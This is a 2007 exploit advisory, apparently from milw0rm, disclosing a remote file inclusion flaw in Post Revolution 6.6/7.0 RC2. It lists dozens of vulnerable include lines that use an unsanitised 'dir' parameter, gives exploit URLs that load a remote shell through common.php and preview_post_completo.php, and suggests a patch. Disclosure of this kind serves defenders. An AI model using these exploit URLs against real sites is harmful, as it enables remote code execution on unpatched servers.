Post REvolution 0.7.0 RC 2 - 'dir' Remote File Inclusion

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                         Post Revolution Remote File Inclusion
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                         Affected Software .: Post Revolution 6.6 / 7.0 Release Candidate 2
                         Download..: http://www.fabio.com.ar/postrev/
                         Risk ..............: high
                         Date .........: 25/3/2007
                         Found by ..........: InyeXion
                         Contact ...........: InyeXion[at]gmail.com
                         Web .............: Www.InyeXion.com.ar
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    Affected File:
/common.php
/themes/default/preview_post_completo.php

 Vulnerable Code:

/common.php

Line [10]       include ($dir."themes/".$config_data["template"]."/encabezado.php");
Line [16]       include ($dir."themes/".$config_data["template"]."/cuerpo.php");
Line [22]       include ($dir."themes/".$config_data["template"]."/pie.php");
Line [37]       include ($dir."themes/".$config_data["template"]."/menu_principal.php");
Line [49]       include ($dir."themes/".$config_data["template"]."/error.php");
Line [129]      include ($dir."themes/".$config_data["template"]."/login_form.php");
Line [135]      include ($dir."themes/".$config_data["template"]."/logout.php");
Line [174]      include ($dir."language/".$config_data["lang"].".php");
Line [272]      include ($dir."language/".$config_data["lang"].".php");
Line [282]      include ($dir."themes/".$config_data["template"]."/seccion.php");
Line [360]      include ($dir."language/".$config_data["lang"].".php");
Line [446]      include ($dir."themes/".$config_data["template"]."/post.php");
Line [460]      include ($dir."language/".$config_data["lang"].".php");
Line [543]      include ($dir."themes/".$config_data["template"]."/archivo_noticias.php");
Line [549]      include ($dir."themes/".$config_data["template"]."/cuerpo_archivo.php");
Line [570]      include ($dir."language/".$config_data["lang"].".php");
Line [628]      include ($dir."themes/".$config_data["template"]."/post_completo.php");
Line [641]      include ($dir."language/".$config_data["lang"].".php");
Line [661]      include ($dir."language/".$config_data["lang"].".php");
Line [680]      include ($dir."themes/".$config_data["template"]."/posts_usuario.php");
Line [692]      include ($dir."language/".$config_data["lang"].".php");
Line [715]      include ($dir."themes/".$config_data["template"]."/comment_encabezado.php");
Line [750]      include ($dir."themes/".$config_data["template"]."/comment.php");
Line [770]      include ($dir."themes/".$config_data["template"]."/comment_form.php");
Line [776]      include ($dir."themes/".$config_data["template"]."/info.php");
Line [782]      include ($dir."themes/".$config_data["template"]."/info.php");
Line [1054]     include ($dir."language/".$config_data["lang"].".php");
Line [1106]     include ($dir."themes/".$config_data["template"]."/encuesta_head.php");
Line [1124]     include ($dir."themes/".$config_data["template"]."/encuesta_opc.php");
Line [1128]     include ($dir."themes/".$config_data["template"]."/encuesta_pie.php");
Line [1159]     include ($dir."themes/".$config_data["template"]."/encuesta_head_ver.php");
Line [1180]     include ($dir."themes/".$config_data["template"]."/encuesta_opc_ver.php");
Line [1183]     include ($dir."themes/".$config_data["template"]."/encuesta_pie_ver.php");
Line [1231]     include ($dir."themes/".$config_data["template"]."/encuestas_anteriores.php");
Line [1242]     include ($dir."themes/".$config_data["template"]."/tagmenu.php");
Line [1297]     include ($dir."themes/".$config_data["template"]."/tagpost.php");
Line [1310]     include ($dir."language/".$config_data["lang"].".php");
Line [1482]     include ($dir."language/".$config_data["lang"].".php");
Line [1506]     include ($dir."themes/".$config_data["template"]."/categoria_enlace.php");
Line [1521]     include ($dir."themes/".$config_data["template"]."/enlacefila.php");
Line [1570]     include ($dir."config.php");
Line [1676]     include ($dir."language/".$config_data["lang"].".php");
Line [1678]     include ($dir."themes/".$config_data["template"]."/buscar.php");
Line [1685]     include ($dir."language/".$config_data["lang"].".php");
Line [1723]     include ($dir."themes/".$config_data["template"]."/resultado.php");
Line [1730]     include ($dir."language/".$config_data["lang"].".php");
Line [1766]     include ($dir."themes/".$config_data["template"]."/busq-dato.php");
Line [1772]     include ($dir."themes/".$config_data["template"]."/busq-resultado.php");
Line [1778]     include ($dir."themes/".$config_data["template"]."/busq-resultado.php");
Line [1790]     include ($dir."language/".$config_data["lang"].".php");
Line [1813]     include ($dir."themes/".$config_data["template"]."/categoria_descarga.php");
Line [1834]     include ($dir."themes/".$config_data["template"]."/descargafila.php");
Line [1875]     include ($dir."language/".$config_data["lang"].".php");
Line [1892]     include ($dir."language/".$config_data["lang"].".php");
Line [1908]     include ($dir."language/".$config_data["lang"].".php");
Line [1924]     include ($dir."language/".$config_data["lang"].".php");
Line [2061]     include ($dir."include/anti-spam.php");


/themes/default/preview_post_completo.php

Line [3]                include ($dir."themes/".$config_data["template"]."/post_completo.php");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

http://[target]/common.php?dir=Shell
http://[target]/themes/default/preview_post_completo.php?dir=Shell
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fixed bug:

/common.php and /themes/default/preview_post_completo.php insert

if((isset($_REQUEST['dir'])  || isset($_GET['dir']) || isset($_POST['dir'])) && !defined("dir")){
die("Fixed bug by InyeXion.");
 }

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# milw0rm.com [2007-04-23]